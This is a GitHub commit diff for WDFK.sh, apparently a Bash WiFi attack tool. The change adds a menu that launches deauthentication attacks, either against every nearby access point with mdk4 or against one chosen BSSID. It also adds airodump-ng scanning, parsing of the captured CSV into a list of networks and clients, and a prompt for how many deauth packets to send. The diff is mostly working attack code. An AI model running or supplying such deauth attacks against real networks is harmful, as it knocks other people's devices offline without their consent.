Skip to content

Commit 8e32ad1

Browse files
authored
Merge pull request #2 from n0obit4/Release-v1.1
Update WDFK.sh
2 parents 9a1ddf4 + d259744 commit 8e32ad1

File tree

1 file changed

+62
-10
lines changed

1 file changed

+62
-10
lines changed

WDFK.sh

+62-10
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,8 @@ Cafe="\033[0;33m"
1818
blue="\033[1;34m"
1919
transparent="\e[0m"
2020

21+
#Resources
22+
DIRECTORY=`mktemp -d`
2123

2224
if [[ $EUID > 0 ]]; then # we can compare directly with this syntax.
2325
echo -e "$white""##################################################################"
@@ -118,7 +120,7 @@ function internet_movil(){
118120

119121
#################################################################################################
120122
# #
121-
# WIFI DEAUTH #
123+
# WIFI DEAUTH #
122124
# #
123125
#################################################################################################
124126

@@ -133,26 +135,74 @@ function deauth(){
133135
airmon-ng check kill &> /dev/null
134136
airmon-ng start $interface &> /dev/null
135137
clear
136-
echo "Scanning all Networks, press any key to continue..."
137-
read tecla
138-
echo "To break scan press CTRL + C"
139-
sleep 2
140-
clear
141-
airodump-ng $MON
138+
142139
#Select attack
140+
echo -e "$yellow"
141+
banner
143142
echo ""
144-
echo -e "$yellow""1- Deauth all AP"
145-
echo -e "$yellow""2- Deauth only one AP"
143+
echo ""
144+
echo -e "$yellow""[1] - Deauth all AP"
145+
echo -e "$yellow""[2] - Deauth only one AP"
146146
echo ""
147147
echo -ne "$blue"">> "
148148
read deauth
149149

150150
if [ "$deauth" = "1" ];then
151+
echo "To break attack press CTRL + C"
151152
xterm -hold -T "Close windows to stop attack" -e mdk4 $MON d;echo -e "$yellow""Attack succesfully...";sleep 1;echo "Shutdowing monitor mode";airmon-ng stop $MON &> /dev/null ; echo "Restarting Networks services";service NetworkManager restart
152153

153154
fi
154155

155156
if [ "$deauth" = "2" ];then
157+
echo "To break scan press CTRL + C"
158+
echo "press any key to continue..."
159+
read tecla
160+
sleep 2
161+
clear
162+
163+
#airodump-ng $MON
164+
xterm -hold -T "Close windows to stop scan" -geometry 100x30+0+0 -e airodump-ng -a $MON -w $DIRECTORY/wdfk --ignore-negative-one
165+
echo ""
166+
167+
#Organize data
168+
lines=`cat $DIRECTORY/wdfk-01.csv | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'`
169+
lines=`expr $lines - 1`
170+
head -n $lines $DIRECTORY/wdfk-01.csv &> $DIRECTORY/dump-02.csv
171+
tail -n +$lines $DIRECTORY/wdfk-01.csv &> $DIRECTORY/clientes.csv
172+
echo " WIFI LIST "
173+
echo ""
174+
echo " ID MAC CHAN SECU PWR ESSID"
175+
echo ""
176+
i=0
177+
178+
while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do
179+
longueur=${#MAC}
180+
PRIVACY=$(echo $PRIVACY| tr -d "^ ")
181+
PRIVACY=${PRIVACY:0:4}
182+
if [ $longueur -ge 17 ]; then
183+
i=$(($i+1))
184+
POWER=`expr $POWER + 100`
185+
CLIENTE=`cat $DIRECTORY/clientes.csv | grep $MAC`
186+
187+
if [ "$CLIENTE" != "" ]; then
188+
CLIENTE="*"
189+
echo -e " "$red"["$yellow"$i"$red"]"$green"$CLIENTE\t""$red"$MAC"\t""$red "$CHANNEL"\t""$green" $PRIVACY"\t ""$red"$POWER%"\t""$red "$ESSID""$transparent""
190+
191+
else
192+
193+
echo -e " "$red"["$yellow"$i"$red"]"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$blue" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent""
194+
195+
fi
196+
197+
aidlength=$IDLENGTH
198+
assid[$i]=$ESSID
199+
achannel[$i]=$CHANNEL
200+
amac[$i]=$MAC
201+
aprivacy[$i]=$PRIVACY
202+
aspeed[$i]=$SPEED
203+
fi
204+
done < $DIRECTORY/dump-02.csv
205+
156206
echo ""
157207
echo -ne "$yellow""AP BSSID: ""$transparent"
158208
read BSSID
@@ -165,7 +215,8 @@ function deauth(){
165215
sleep 2
166216
clear
167217
#Specific scan
168-
airodump-ng $MON --bssid $BSSID --channel $CH
218+
airodump-ng $MON --bssid $BSSID --channel $CH -a
219+
echo ""
169220
echo -ne "$yellow""Deauth Packets(0 to infinite): "
170221
read deauth
171222
clear
@@ -176,6 +227,7 @@ function deauth(){
176227

177228
}
178229

230+
179231
#################################################################################################
180232
# #
181233
# MAC ADDRESS #

0 commit comments

Comments
 (0)